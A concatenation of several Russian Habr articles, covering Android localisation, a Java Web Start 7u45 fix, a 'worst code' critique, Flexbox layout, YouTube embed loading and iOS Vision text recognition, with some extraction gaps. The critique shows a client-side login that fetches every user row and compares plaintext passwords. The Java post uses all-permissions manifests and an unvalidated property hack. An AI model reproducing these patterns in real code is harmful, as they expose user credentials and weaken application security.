Полный скетч можно найти [тут](https://github.com/wwakabobik/rocketry/blob/master/flight_controller_logger/flight_controller_logger.ino).
Полёт и результаты
------------------
Характеристики собранной ракеты:
* Длина: 1300 миллиметров
* Диаметр: 50 миллиметров
* Масса корпуса (со всеми компонентами): 1000 грамм
* Масса электроники: 180 грамм
* Масса двигателя: 440 грамм
* Масса полная: 1620 грамм
* Двигатель: ДКР-30-9-280-ПЭ(С)
* Класс: H115, максимальная тяга - 180 Н\*с
* Расчётный (максимальный) апогей: 530 метров
* Время до апогея: 11,5 секунд
Взлёт ракетыПолёт в целом получился успешным, ракета достигла апогея в 400 метров.
Ракета села с парашютом в 200 метрах от места старта.
Парашют раскрылся!Любопытно, что на данных с акселерометра видны всплески, соответствующие работе системы спасения (мортирки).
Сырые данные с логгераВ итоге
-------
... проект у меня занял целый год в неспешном режиме. Это отличное хобби, которое позволяет столкнуться с огромным разнообразным спектром задач из разных областей. Это и физика, химия, электроника, программирование, инженерия и технология изготовления, включая токарные работы. И, конечно, позволяющее получить незабываемые эмоции от рёва гула у взлетающей ракеты, до трепета и переживаний во время поиска ракеты и снятия показаний с логгера.
UPD: Графики обновлены
 | https://habr.com/ru/post/571968/ | null | ru | null |
# Переключение языка в Android-приложении
Есть простой способ реализовать переключение языка в Single-Activity приложении. Стек экранов при этом подходе не сбрасывается, пользователь остается там, где переключил язык. Когда пользователь переходит на предыдущие экраны, они сразу отображаются переведенными. А результат локализации чисел, денежных сумм и процентов может удивить дизайнеров.
О чем пойдет речь, а о чем не пойдет?
-------------------------------------
Далее не будет ничего о:
* **Теории**, которая лежит в основе форматированного вывода строк, и деталях реализации библиотек, которые этим занимаются. То есть того, что помогло бы вам написать свою библиотеку.
* **Ресурсах** строковых, векторных и прочих. О том, какие квалификаторы ресурсов использовать, какие картинки на арабском должны отображаться справа налево, а какие нет, и других тонкостях.
* **Процессе** централизованного перевода ресурсов для всех платформ. Как его организовать, чтобы всем жилось хорошо, даже iOS-никам.
А пойдет речь о:
* **Практике.** Рассмотрим задачу, ее ограничения и решение с диаграммами, примерами и фрагментами кода.
* **API SDK**, которое было использовано для этого решения.
* **Особенностях форматирования числовых значений** для разных региональных стандартов, о которых стоит знать дизайнерам.
Что мы хотим сделать?
---------------------
Пусть в нашем приложении есть экран с настройками, и мы хотим добавить в него пару новых пунктов, один из которых позволил бы переключать язык приложения, а другой изменять валюту, в которой отображаются денежные суммы. Приведем примеры того, как это может выглядеть.
Кроме перевода текста и отображения верстки справа налево, эти настройки должны влиять на формат отображения числовых значений. Необходимо, чтобы все отображалось согласно выбранной локали.
Архитектурное решение
---------------------
Представим, что наше приложение написано в соответствии с [Single-Activity подходом](https://habr.com/ru/company/redmadrobot/blog/426617). Тогда механизм переключения языка может быть реализован следующим образом.
`SettingsInteractor` является источником текущего значения языка. Он позволяет подписаться на это значение, получить его синхронно и подписаться только на обновления. В случае необходимости можно ввести дополнительную абстракцию над `SettingsInteractor` по [принципу разделения интерфейса](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81%D0%B0). На диаграмме несущественные детали опущены.
`AppActivity` при создании заменяет контекст на новый, чтобы приложение использовало ресурсы для выбранного языка.
```
override fun attachBaseContext(base: Context) {
super.attachBaseContext(applySelectedAppLanguage(base))
}
private fun applySelectedAppLanguage(context: Context): Context {
val locale = settingsInteractor.getUserSelectedLanguageBlocking()
val newConfig = Configuration(context.resources.configuration)
Locale.setDefault(locale)
newConfig.setLocale(locale)
return context.createConfigurationContext(newConfig)
}
```
`AppPresenter` в свою очередь подписывается на обновления языка и уведомляет View об изменениях.
```
override fun onFirstViewAttach() {
super.onFirstViewAttach()
subscribeToLanguageUpdates()
}
private fun subscribeToLanguageUpdates() {
settingsInteractor
.getUserSelectedLanguageUpdates()
.subscribe(
{ newLang ->
viewState.applyNewAppLanguage(newLang)
},
{ error ->
errorHandler.handle(error)
}
)
.disposeOnDestroy()
}
```
`AppActivity` при получении уведомления о смене языка пересоздается.
```
override fun applyNewAppLanguage(lang: Locale) = recreate()
```
`AppActivity` является единственной в приложении. Все остальные экраны реализованы фрагментами. Поэтому при пересоздании активити стек экранов сохраняется системой. При возврате на предыдущие экраны они будут переинициализированы и отображаться переведенными. Пользователь останется на списке выбора языка и увидит результат своего выбора мгновенно.
Форматирование чисел, денежных сумм и процентов
-----------------------------------------------
Кроме замены контекста необходимо форматировать данные – числа, денежные суммы, проценты. Пусть эту задачу каждая View делегирует отдельному компоненту, назовем его `UiLocalizer`.
Для преобразования числа в строку `UiLocalizer` использует соответствующие инстансы `NumberFormat`.
```
private var numberFormat = NumberFormat.getNumberInstance(lang)
private var percentFormat = NumberFormat.getPercentInstance(lang)
private fun getNumberFormatForCurrency(currency: Currency) =
NumberFormat
.getCurrencyInstance(lang)
.also { it.currency = currency }
```
Обратите внимание, что валюту необходимо устанавливать отдельно.
Если вы экономите такты CPU и биты памяти, а переключение валюты и языка – основная и часто используемая функция вашего приложения, то здесь, конечно, необходим кэш.
Представление языков и валют
----------------------------
Экземпляры класса `Locale` создаются по [языковому тегу](https://en.wikipedia.org/wiki/IETF_language_tag), который состоит из двухбуквенного кода языка и двухбуквенного кода региона. А экземпляры класса `Currency` – по [трехбуквенному ISO коду](https://en.wikipedia.org/wiki/ISO_4217). В этом виде язык и валюта должны сериализовываться для сохранения на диск или передачи по сети, и тогда будет хорошо. Приведем примеры.
```
// IETF BCP 47 language tag string.
private val langs = arrayOf(
Locale.forLanguageTag("ru-RU"),
Locale.forLanguageTag("en-US"),
Locale.forLanguageTag("en-GB"),
Locale.forLanguageTag("he-IL"),
Locale.forLanguageTag("ar-SA"),
Locale.forLanguageTag("ar-AE"),
Locale.forLanguageTag("fr-FR"),
Locale.forLanguageTag("fr-CH"),
Locale.forLanguageTag("de-DE"),
Locale.forLanguageTag("de-CH"),
Locale.forLanguageTag("da-DK")
)
// ISO 4217 code of the currency.
private val currencies = arrayListOf(
Currency.getInstance("RUB"),
Currency.getInstance("USD"),
Currency.getInstance("GBP"),
Currency.getInstance("ILS"),
Currency.getInstance("SAR"),
Currency.getInstance("AED"),
Currency.getInstance("EUR"),
Currency.getInstance("CHF"),
Currency.getInstance("DKK")
)
```
Особенности форматирования числовых значений
--------------------------------------------
Результат форматирования чисел в соответствии с региональными стандартами может разойтись с ожидаемым. Символ валюты или ее трехбуквенный код на разных языках будет выводиться по-разному. Знак минуса у отрицательных денежных значений будет появляться в неожиданных местах, а кое-где вместо него будут выводиться скобки. Знак процента может оказаться не совсем тем знаком, к которому мы привыкли.
Дело в том, что с точки зрения региональных шаблонов итоговая строка состоит из префикса и суффикса для положительных и отрицательных чисел, разделителя тысячных и десятичного разделителя, а они разные для разных локалей.
### Числа
| Language | Negative Prefix | Negative Suffix | Positive Prefix | Positive Suffix | Grouping Separator | Decimal Separator |
| --- | --- | --- | --- | --- | --- | --- |
| ru-RU | "-" | | | | " " | "," |
| en-US | "-" | | | | "," | "." |
| iw-IL | "-" | | | | "," | "." |
| ar-AE | "-" | | | | "٬" | "٫" |
| fr-FR | "-" | | | | " " | "," |
| de-DE | "-" | | | | "." | "," |
| de-CH | "-" | | | | "'" | "." |
| da-DK | "-" | | | | "." | "," |
### Валюты
| Language | Negative Prefix | Negative Suffix | Positive Prefix | Positive Suffix | Grouping Separator | Decimal Separator |
| --- | --- | --- | --- | --- | --- | --- |
| ru-RU | "-" | " ₽" | | " ₽" | " " | "," |
| en-US | "-$" | | "$" | | "," | "." |
| iw-IL | "-" | " ₪" | | " ₪" | "," | "." |
| ar-AE | "-" | " د.إ." | | " د.إ." | "٬" | "٫" |
| fr-FR | "-" | " €" | | " €" | " " | "," |
| de-DE | "-" | " €" | | " €" | "." | "," |
| de-CH | "CHF-" | | "CHF " | | "'" | "." |
| da-DK | "-" | " kr." | | " kr." | "." | "," |
### Проценты
| Language | Negative Prefix | Negative Suffix | Positive Prefix | Positive Suffix | Grouping Separator | Decimal Separator |
| --- | --- | --- | --- | --- | --- | --- |
| ru-RU | "-" | "%" | | "%" | " " | "," |
| en-US | "-" | "%" | | "%" | "," | "." |
| iw-IL | "-" | "%" | | "%" | "," | "." |
| ar-AE | "-" | " ٪" | | " ٪" | "٬" | "٫" |
| fr-FR | "-" | " %" | | " %" | " " | "," |
| de-DE | "-" | " %" | | " %" | "." | "," |
| de-CH | "-" | "%" | | "%" | "'" | "." |
| da-DK | "-" | " %" | | " %" | "." | "," |
Более того, результаты форматирования для Android SDK и JDK могут быть разными. При этом все варианты правильные, каждый из них используется в определенных контекстах.
DecimalFormat
-------------
Когда мы создаем `NumberFormat` для форматирования тех или иных значений, мы получаем объекты класса `DecimalFormat`, которые просто сконфигурированы разными шаблонами. Приведя объект к типу `DecimalFormat` и используя его интерфейс, можно изменить части шаблона, чтобы все сломать. Но лучше поклоняться данности.
Также можно написать тест, чтобы насладиться разнообразием. Не для всех локалей одна и та же валюта выводится символом.
В итоге
-------
Общая схема решения выглядит следующим образом.
Жизненный цикл `AppActivity` является жизненным циклом всего приложения. Поэтому достаточно пересоздать ее, чтобы перезапустить все приложение и применить выбранный язык. А поскольку активити одна, подписку на изменение языка достаточно держать в одном месте – в `AppPresenter`.
Как мы увидели, региональные форматы вывода чисел нетривиальны. Не стоит жестко задавать единый шаблон на все случаи жизни. Лучше доверить форматирование SDK и договориться, что числа будут выводиться по стандарту, а не как нарисовано на макетах.
Как проще тестировать? (бонус)
------------------------------
Для экономии времени можно воспользоваться следующим флагом.
```
android {
...
buildTypes {
debug {
pseudoLocalesEnabled true
}
}
...
}
```
Выбрать необходимую псевдолокаль в настройках телефона.
И наблюдать, как едет верстка из-за длинного текста, а некоторые элементы UI упорно не хотят отображаться справа налево.
Более подробную информацию можно прочитать в [документации](https://developer.android.com/guide/topics/resources/pseudolocales).
Стоит отметить, что псевдолокали не будут работать, если вы подменяете контекст, как в решении выше. Вы ведь подменяете контекст. Поэтому необходимо добавить `en-XA` и `ar-XB` в список выбора языка внутри приложения.
На этом все. Хорошей вам локализации и хорошего настроения!
 | https://habr.com/ru/post/461085/ | null | ru | null |
# Проблемы с Java web start при обновлении до j7u45
Как можно догадаться из названия, пост будет посвящен вышедшему security обновлению джавы, которое наверняка сломает/сломало запуск вебстартового приложения. Всех не равнодушных — прошу под кат.
В нашей компании принята практика обновлять Java на всех серверах, как только выходят новые версии. Собственно, так мы и поступили в этот раз. Но что-то пошло не так, веб старт клиент перестал запускаться и приложение, без объявления войны, стало просто закрываться.
Засучив рукава, предстояло разобраться, что же стало причиной такого поведения.
Запустив клиент локально, появились ранее неведомые предупреждения о том, что в файлах манифеста отсутствуют свойства: Permissions, Application-Name, Codebase. Немного почитав о них, в качестве пробы было решено добавить их на дурачка во все манифесты, примерно в следующим виде:
```
Permissions: all-permissions
Application-Name: AppName
Codebase: *
```
Не слишком красиво, от предупреждений избавило, но проблему не решило.
Далее, в ходе долгих дебагов (спасибо тебе Eclipse RCP за счастливое детство) было замечено, что системные параметры передаются как-то не так, что вывело на следующий пост на stackoverflow: [stackoverflow.com/questions/19400725/with-java-update-7-45-the-system-properties-no-more-set-from-jnlp-tag-property](http://stackoverflow.com/questions/19400725/with-java-update-7-45-the-system-properties-no-more-set-from-jnlp-tag-property).
Резюмируя его, можно сказать, что теперь нельзя просто так взять и передать проперти в JNLP файле.
Было найдено 3 пути решения:
1) Подписать JNLP файл — [docs.oracle.com/javase/7/docs/technotes/guides/jweb/signedJNLP.html#signedJnlp](http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/signedJNLP.html#signedJnlp) — вкратце — просто подложить jnlp в подписанный джарик в папку JNLP-INF с именем APPLICATION.JNLP и будет счастье.
Главная проблема в этом способе заключалась в том, что у нас JNLP для каждого клиента разный и вообще говоря генерится на лету.
2) Создать подписанный шаблон JNLP файла — [blogs.oracle.com/thejavatutorials/entry/signing\_jar\_files\_with\_a](https://blogs.oracle.com/thejavatutorials/entry/signing_jar_files_with_a)
Изначально я остановился на этом способе, ничего сложного: тоже самое, что и в предыдущим пункте, только имя файла APPLICATION\_TEMPLATE.JNLP и те места, что могут изменятся заменяем на '\*'.
Но все оказалось не так радужно, ничего не заработало. Пришлось немного по шаманить и влезть во внутренности веб старта, чтобы посмотреть как же сравнивается шаблон и сам jnlp файл. В итоге был обнаружен следующий код в com.sun.javaws.jnl.XMLFormat:
```
public static boolean isBlacklisted(XMLNode paramXMLNode)
{
if (paramXMLNode == null) {
return false;
}
if (paramXMLNode.getName() != null)
{
XMLAttribute localXMLAttribute;
String str;
if ((paramXMLNode.getName().equals("java")) || (paramXMLNode.getName().equals("j2se"))) {
for (localXMLAttribute = paramXMLNode.getAttributes(); localXMLAttribute != null; localXMLAttribute = localXMLAttribute.getNext()) {
if (localXMLAttribute.getName().equals("java-vm-args"))
{
str = localXMLAttribute.getValue();
if ((str != null) && (str.indexOf("*") >= 0))
{
Trace.println("Blacklisted - a = " + localXMLAttribute, TraceLevel.SECURITY);
return true;
}
}
}
} else if (paramXMLNode.getName().equals("property")) {
for (localXMLAttribute = paramXMLNode.getAttributes(); localXMLAttribute != null; localXMLAttribute = localXMLAttribute.getNext())
{
str = localXMLAttribute.getValue();
if ((str != null) && (str.indexOf("*") >= 0))
{
Trace.println("Blacklisted - a = " + localXMLAttribute, TraceLevel.SECURITY);
return true;
}
}
}
}
if (isBlacklisted(paramXMLNode.getNested())) {
return true;
}
return isBlacklisted(paramXMLNode.getNext());
}
```
Проверяет примерно следующее: при сравнении шаблона с файлом, смотрит не находится ли текущий тег в черном списке, если да, то не пропускает такой jnlp файл. В текущей реализации нельзя добавлять шаблоны в свойство java-vm-args тэгов java или j2se, а так же нельзя передавать параметры, содержащие в значение шаблон.
И опять провал, многие свойства для каждого клиента уникальны и передаются как раз через параметры в виде:
```
```
И мы не можем просто написать в шаблоне:
```
```
Остается только последний(на тот момент) вариант:
3) В соответствии с [bugs.openjdk.java.net/browse/JDK-8023821](https://bugs.openjdk.java.net/browse/JDK-8023821), свойства можно передавать, добавив к ним префикс 'jnlp', они будут успешно перекладываться в системные свойства и далее в нашем коде можно будет переложить их на свое место. Поскольку другой альтернативы не было найдено, в самое начало запуска приложения был добавлен код, найденый [здесь](http://stackoverflow.com/questions/19407102/java-7-update-45-broke-my-web-start-swt-application):
```
private static void initializeSystemProperiesFromJnlp() {
//Hack for not signing JNLP file
Properties properties = System.getProperties();
// copy properties to avoid ConcurrentModificationException
Properties copiedProperties = new Properties();
copiedProperties.putAll(properties);
Set keys = copiedProperties.keySet();
for (Object key : keys) {
if (key instanceof String) {
String keyString = (String) key;
if (keyString.startsWith("jnlp.")) { //$NON-NLS-1$
// re set all properties starting with the jnlp-prefix
// and set them without the prefix
String property = System.getProperty(keyString);
String replacedKeyString = keyString.replaceFirst("jnlp.", ""); //$NON-NLS-1$ //$NON-NLS-2$
System.setProperty(replacedKeyString, property);
}
}
}
}
```
После данной манипуляции все заработало.
Прошу обратить внимание, что код, приведенный выше, не является правилом хорошего тона, и как минимум, стоит проверить значения, которые лежат в пропертях, вдруг нас похакали и подменили их.
Кроме того, есть еще один, более тернистый, но правильный способ, о котором я узнал позже. Он описан вот [здесь](https://forums.oracle.com/message/11253994#11253994).
Надеюсь данный пост будет кому-нибудь полезен. | https://habr.com/ru/post/202016/ | null | ru | null |
# Разбор худшего в мире куска кода
Есть одна итальянская страница на Facebook. Называется она «Il Programmatore di Merda», что в переводе означает «Дерьмовый программист». Мне нравится эта страница.
Там часто публикуют куски отвратительного кода и мемы о программировании. Но однажды я увидел там кое-что совершенно потрясающее.
[](https://habr.com/ru/company/ruvds/blog/515676/)
Этот кусок кода заслужил почётное звание «лучшего произведения» за неделю.
Я решил этот код разобрать, но тут так много всего неправильного, что мне сложно даже выбрать первую проблему для анализа.
Если вы — начинающий программист, то мой материал поможет вам понять то, какие ужасные ошибки совершены тем, кто писал этот код.
28 строк ошибок кода
--------------------
Давайте, чтобы было удобнее, наберём этот код в редакторе:
```
function authenticateUser(username, password) {
var accounts = apiService.sql(
"SELECT \* FROM users"
);
for (var i = 0; i < accounts.length; i++) {
var account = accounts [i];
if (account.username === username &&
account.password === password)
{
return true;
}
}
if ("true" === "true") {
return false;
}
}
$('#login').click(function() {
var username = $("#username").val();
var password = $("#password").val();
var authenticated = authenticateUser(username, password);
if (authenticated === true) {
$.cookie('loggedin', 'yes', { expires: 1 });
} else if (authenticated === false) {
$("error\_message").show(LogInFailed);
}
});
```
И… Ну правда — не знаю, с чего начать его разбор. Но начинать, всё же, надо. Я решил разбить недостатки этого кода на три категории:
* Проблемы с безопасностью.
* Проблемы с базовыми знаниями о программировании.
* Проблемы с оформлением кода.
Проблемы с безопасностью
------------------------
Этот код, наверняка, выполняется на клиенте. На это указывает то, что он заключён в тег | https://habr.com/ru/post/515676/ | null | ru | null |
# Верстаем новостной сайт с помощью Flexbox
*Примечание: этот материал представляет собой свободный перевод [статьи](http://webdesign.tutsplus.com/tutorials/how-to-build-a-news-website-layout-with-flexbox--cms-26611) [Джереми Томаса](http://tutsplus.com/authors/jeremy-thomas) о том, как просто работать с Flexbox на примере верстки шаблона новостного сайта.*
Поверьте, нет никакой необходимости в детальном разборе всех аспектов работы с Flexbox, если вы хотите начать им пользоваться уже сейчас. В этом руководстве автор собирается познакомить вас с некоторыми свойствами Flexbox и сделать «новостной лейаут» наподобие того, который вы могли видеть на сайте [The Guardian](http://www.theguardian.com).
Причина, по которой автор использует Flexbox – это большое количество возможностей, которые он предоставляет:
— легкость в создании адаптивных столбцов;
— создание столбцов одинаковой высоты;
— возможность прижатия содержимого к низу контейнера.
Ну, поехали!
### 1. Начинаем с создания двух столбцов
Создание столбцов при помощи CSS всегда влекло за собой определенные трудности. На протяжении длительного времени для выполнения данной задачи широко использовались (и используются) float’ы и / или таблицы, но каждый из этих методов имел (и имеет) свои недостатки.
В свою очередь, Flexbox упрощает этот процесс, обладая рядом таких преимуществ, как:
— написание более «чистого» кода: от нас лишь требуется создать контейнер с правилом **display: flex;**
— гибкость: мы можем изменять размер, растягивать и выравнивать столбцы путем изменения пары строк CSS;
— семантическая разметка;
— кроме того, с использованием Flexbox отпадает необходимость отменять обтекание во избежание непредсказуемого поведения лейаута.
Давайте начнем работу с создания двух столбцов, один из которых будет занимать 2/3 ширины нашего контейнера, а еще один — 1/3 его часть.
```
2/3 column
1/3 column
```
Здесь присутствуют два элемента:
— контейнер **columns;**
— два дочерних элемента **column**, один из которых имеет дополнительный класс **main-column**, который мы используем позже для того, чтобы сделать столбец шире.
```
.columns {
display: flex;
}
.column {
flex: 1;
}
.main-column {
flex: 2;
}
```
Поскольку **main-column** имеет значение flex равное **2**, то этот столбец займет в два раза больше места, чем второй.
Добавим немного визуального оформления и, в итоге, получим:
[Кликните](http://codepen.io/tutsplus/pen/gMbpQM) для просмотра в действии
### 2. Делаем каждый столбец flexbox-контейнером
Каждый из двух столбцов будет содержать несколько вертикально расположенных статей, поэтому из этих двух элементов мы, в свою очередь, также должны сделать flexbox-контейнеры.
Итак, нам необходимо, чтобы статьи:
— располагались вертикально внутри столбца-контейнера;
— занимали все доступное место.
Правило **flex-direction: column**, указанное для контейнера, вместе с правилом **flex: 1**, указанным для дочернего элемента, позволяет статье заполнить все свободное место по вертикали, при этом высота первых двух столбцов останется неизменной.
[Кликните](http://codepen.io/tutsplus/pen/PzwqXG) для просмотра в действии
### 3. Делаем контейнер из статьи
Теперь, чтобы еще больше расширить наши возможности, давайте представим каждую статью в виде flexbox-контейнера. Каждый такой контейнер будет содержать:
— заголовок;
— параграф;
— информационную панель с именем автора и количеством комментариев;
— какую-нибудь адаптивную картинку.
Здесь мы используем Flexbox для того, чтобы «прижать» информационную панель к низу элемента. Вот, посмотрите, какой результат мы ожидаем получить.
А вот и сам код:
```
![]()
```
```
.article {
display: flex;
flex-direction: column;
flex-basis: auto; /* Устанавливает начальный размер элемента в зависимости от его содержимого */
}
.article-body {
display: flex;
flex: 1;
flex-direction: column;
}
.article-content {
flex: 1; /* Содержимое заполняет все оставшееся место, тем самым прижимая информационную панель к нижней части */
}
```
Элементы внутри статьи расположены вертикально благодаря использованию правила **flex-direction: column**.
Также мы применили свойство **flex: 1** к элементу **article-content**, тем самым растянув его на все свободное место и прижав **article-info** к низу. Высота столбцов в этом случае не имеет значения.
 | https://habr.com/ru/post/314034/ | null | ru | null |
# Отмена загрузки видео при просмотре в embeded-плеерах
Всем знакома ситуация, когда запущенный ролик YouTube (или другого хостера видео) хочется отменить, если он был запущен по ошибке или дальнейший просмотр не интересен. На текущий момент отменить загрузку через плеер возможности нет. Даже если Вы остановите ролик — загружаться он будет продолжать до конца.
Пока Youtube не прикрутили к embeded-плееру кнопку «отменить загрузку» — сайтовладельцы могут воспользоваться небольшой хитростью и реализовать такую кнопку самостоятельно.
\* В качестве примера рассматриваем Youtube.com, хотя принцип работает и для других сервисов.
Ниже приведён работающий пример, если Вы скопируете его в HTML файл, сохраните и запустите — будет работать.
Небольшое объяснение: при добавлении ролика на сайт можно использовать примерно такую форму [youtube]dMH0bHeiRNg[/youtube]
Скрипт разбирающий запись должен преобразовать её в форму, которая указана внутри блока «Генерируемый автоматически контент», то есть просто берём этот шаблончик и в нужных местах вместо метки (выберите сами) вставляем код ролика, в нашем случае «dMH0bHeiRNg».
Кроме этого, где вам удобно, на сайте нужно объявить функцию youtube\_video\_init().
Принцип работы следующий — пользователь нажимает кнопку Play — ролик начинает подгружаться. Пользователь нажимает кнопку «Отменить загрузку», при этом содержимое блока переписывается самим же собой, флеш плеер приобретает свой первозданный вид, загрузка прекращается.
Можно развить мысль, и попробовать останавливать загрузку управляя только свойствами объектов страницы.
Приятной работы.
| |
| --- |
| [Отменить загрузку](#) |
| | | https://habr.com/ru/post/15285/ | null | ru | null |
# Распознание блоков текста в IOS-приложении с помощью Vision
Работая над приложением, связанным с финансовыми операциями, возникла необходимость распознать и выделить суммы на чеках. Начиная с 11-ой версии в IOS-разработке появился нативный фреймворк Vision, который позволяет распознавать различные объекты на изображениях, без задействования сторонних сервисов.
В данной статье представлен личный опыт разработки приложения, использующего Vision.
Что такое Vision
----------------
Из [документации Apple](https://developer.apple.com/documentation/vision): "Vision применяет алгоритмы "компьютерного зрения" для выполнения множества задач с входными изображениями и видео. Фреймворк Vision выполняет распознание лиц, обнаружение текста, распознавание штрих-кодов, регистрацию изображений. Vision также позволяет использовать пользовательские модели CoreML для таких задач, как классификация или обнаружение объектов."
Анализируя документацию Apple, можно предположить, что Vision - это один из этапов подготовки таких продуктов как Apple glasses или шлем смешанной реальности. Забегая вперед, следует подчеркнуть, что данный фреймворк потребляет изрядное количество ресурсов. Обработка статичного изображения может занимать десятки секунд, следовательно, работа с видео в реальном времени будет предельно ресурсоемким процессом, над оптимизацией которого инженерам Apple еще предстоит поработать.
В рамках поставленной задачи, необходимо было решить следующую проблему: распознание блоков текста с помощью Vision.
Разработка
----------
Проект построен на UIKit, который в данной статье детально рассматриваться не будет. Основное внимание уделяется блокам кода, связанным с фреймворком Vision. Приведенные листинги снабжены комментариями, позволяющими разработчикам детальнее понять принцип работы с фреймворком.
В MainViewController, который будет взаимодействовать с фреймворком Vision, нужно объявить две переменные:
```
//Recognition queue
let textRecognitionWorkQueue = DispatchQueue(label: "TextRecognitionQueue", qos: .userInitiated, attributes: [], autoreleaseFrequency: .workItem)
//Request for text recognition
var textRecognitionRequest: VNRecognizeTextRequest?
```
1. Очередь для задач Vision не вызывает никаких затруднений у разработчиков. Именно в ней будут выполняться все задачи фреймворка.
2. Объявляется переменная типа [VNRecognizeTextRequet](https://developer.apple.com/documentation/vision/vnrecognizetextrequest). Инициализируется объект из ViewDidLoad (или из init), так как он должен быть активен на протяжении всей жизни ViewController. Этот объект отвечает за работу с Vision, поэтому необходимо разобрать его инициализацию подробнее:
```
//Set textRecognitionRequest from ViewDidLoad
func setTextRequest() {
textRecognitionRequest = VNRecognizeTextRequest { request, error in
guard let observations = request.results as? [VNRecognizedTextObservation] else {
return
}
var detectedText = ""
self.textBlocks.removeAll()
for observation in observations {
guard let topCandidate = observation.topCandidates(1).first else { continue }
detectedText += "\(topCandidate.string)\n"
//Text block specific for this project
if let recognizedBlock = self.getRecognizedDoubleBlock(topCandidate: topCandidate.string, observationBox: observation.boundingBox) {
self.textBlocks.append(recognizedBlock)
}
}
DispatchQueue.main.async {
self.textView.text = detectedText
self.removeLoader()
self.drawRecognizedBlocks()
}
}
//Individual recognition request settings
textRecognitionRequest!.minimumTextHeight = 0.011 // Lower = better quality
textRecognitionRequest!.recognitionLevel = .accurate
}
```
Настройки объекта textRecognitionRequest. Описание всех доступных настроек можно найти в [документации](https://developer.apple.com/documentation/vision/vnrecognizetextrequest). Наиболее важным является параметр [minimumTextHeight](https://developer.apple.com/documentation/vision/vnrecognizetextrequest/3152641-minimumtextheight). Именно этот параметр отвечает за сочетание быстродействия и точности распознания текста. Для каждого проекта необходимо найти индивидуальное значение данного параметра, оно зависит от того, какие данные будет обрабатывать приложение.
Так как основной поставленной задачей являлось считывание текста с квитанций, для вычисления значения параметра minimumTextHeight в приложение были добавлены различные типы квитанций в различном состоянии (в том числе и основательно помятые). В результате тестирования было определено значение равное 0.011. В случае распознания текста с квитанций, это значение лучшим образом сочетает в себе быстродействие и точность. Однако нужно отметить, что текст с одного изображения распознается в среднем за пять секунд. Подобной скорости недостаточно для обработки информации в реальном времени и ее следует значительно оптимизировать инженерам Apple.
На основе представленного кода можно сделать вывод, что после операции распознания, объект типа VNRecognizeTextRequet получает блоки текста. Именно с ними и ведется дальнейшая работа, в зависимости от функций приложения. В рассматриваемом примере, каждый распознанный фрагмент текста был внесен в текстовое поле. Так как особенностью задействованного приложения является выделение суммы на квитанции, следовательно, сохранялись только блоки текста, которые можно преобразовать в тип Double. Помимо распознанного текстового значения сохраняются и координаты блока текста на изображении.
Представленный ниже метод отвечает за запуск работы запроса на распознание:
```
//Call text recognition request handler
func recognizeImage(cgImage: CGImage) {
textRecognitionWorkQueue.async {
let requestHandler = VNImageRequestHandler(cgImage: cgImage, options: [:])
do {
try requestHandler.perform([self.textRecognitionRequest!])
} catch {
DispatchQueue.main.async {
self.removeLoader()
print(error)
}
}
}
}
```
В метод передается объект CGImage, в котором необходимо распознать текст. Вся работа по распознанию ведется в созданной для этого очереди. Создается объект [VNImageRequestHandler](https://developer.apple.com/documentation/vision/vnimagerequesthandler), в который передается распознаваемый объект CGImage. В блоке do/try/catch запускается работа инициализированного объекта типа [VNRecognizeTextRequet](https://developer.apple.com/documentation/vision/vnrecognizetextrequest).
Описанные выше функции отвечают за распознание текста в приложении. Однако стоит еще остановится на методах, связанных с выделением нужных блоков текста.
```
func drawRecognizedBlocks() {
guard let image = invoiceImage?.image else { return }
//transform from documentation
let imageTransform = CGAffineTransform.identity.scaledBy(x: 1, y: -1).translatedBy(x: 0, y: -image.size.height).scaledBy(x: image.size.width, y: image.size.height)
//drawing rects on cgimage
UIGraphicsBeginImageContextWithOptions(image.size, false, 1.0)
let context = UIGraphicsGetCurrentContext()!
image.draw(in: CGRect(origin: .zero, size: image.size))
context.setStrokeColor(CGColor(srgbRed: 1, green: 0, blue: 0, alpha: 1))
context.setLineWidth(4)
for index in 0 ..< textBlocks.count {
let optimizedRect = textBlocks[index].recognizedRect.applying(imageTransform)
context.addRect(optimizedRect)
textBlocks[index].imageRect = optimizedRect
}
context.strokePath()
let result = UIGraphicsGetImageFromCurrentImageContext()
UIGraphicsEndImageContext()
invoiceImage?.image = result
}
```
В данной статье рисование на изображении не рассматривается, так как при работе с разделом рисование у разработчиков не возникает никаких трудностей. При этом, стоит обратить внимание на особенности работы с координатами распознанных блоков текста. Для сохранения необходимых данных была использована следующая структура:
```
struct RecognizedTextBlock {
let doubleValue: Double
let recognizedRect: CGRect
var imageRect: CGRect = .zero
}
```
При распознании блоков текста фреймворк Vision вычисляет ряд важных параметров в объекте [VNRecognizedTextObservation](https://developer.apple.com/documentation/vision/vnrecognizedtextobservation). Для нужд рассматриваемого проекта необходимо было получить только значение типа Double и его координаты на изображении, сохраняемые в константе recognizedRect.
Для выделения блока текста на изображении, следует применить трансформацию к координатам из константы recognizedRect. Полученные координаты так же сохраняются в объекте RecognizedTextBlock в переменной imageRect, необходимой для обработки нажатий на выделенные блоки текста.
После сохранения точных координат выделяемых блоков на изображении, обработку нажатий на выделенные области можно осуществить несколькими способами:
* Добавить необходимое количество невидимых кнопок на изображение, при помощи трансформации сохраненного объекта imageRect;
* При каждом нажатии на изображение проверять массив блоков текста и искать совпадение координат нажатия с сохраненным объектом imageRect и др.
Чтобы не перегружать ViewController дополнительными элементами, был использован второй способ.
```
//UIImageView tap listener
@objc func onImageViewTap(sender: UITapGestureRecognizer) {
guard let invoiceImage = invoiceImage, let image = invoiceImage.image else {
return
}
//get tap coordinates on image
let tapX = sender.location(in: invoiceImage).x
let tapY = sender.location(in: invoiceImage).y
let xRatio = image.size.width / invoiceImage.bounds.width
let yRatio = image.size.height / invoiceImage.bounds.height
let imageXPoint = tapX * xRatio
let imageYPoint = tapY * yRatio
//detecting if one of text blocks tapped
for block in textBlocks {
if block.imageRect.contains(CGPoint(x: imageXPoint, y: imageYPoint)) {
showTapAlert(doubleValue: block.doubleValue)
break
}
}
}
```
Использование представленного метода позволяет вычислить координаты нажатия на объект ImageView с сохранением его пропорций и поиска полученных координат в массиве сохранных распознанных блоков текста.
Выводы
------
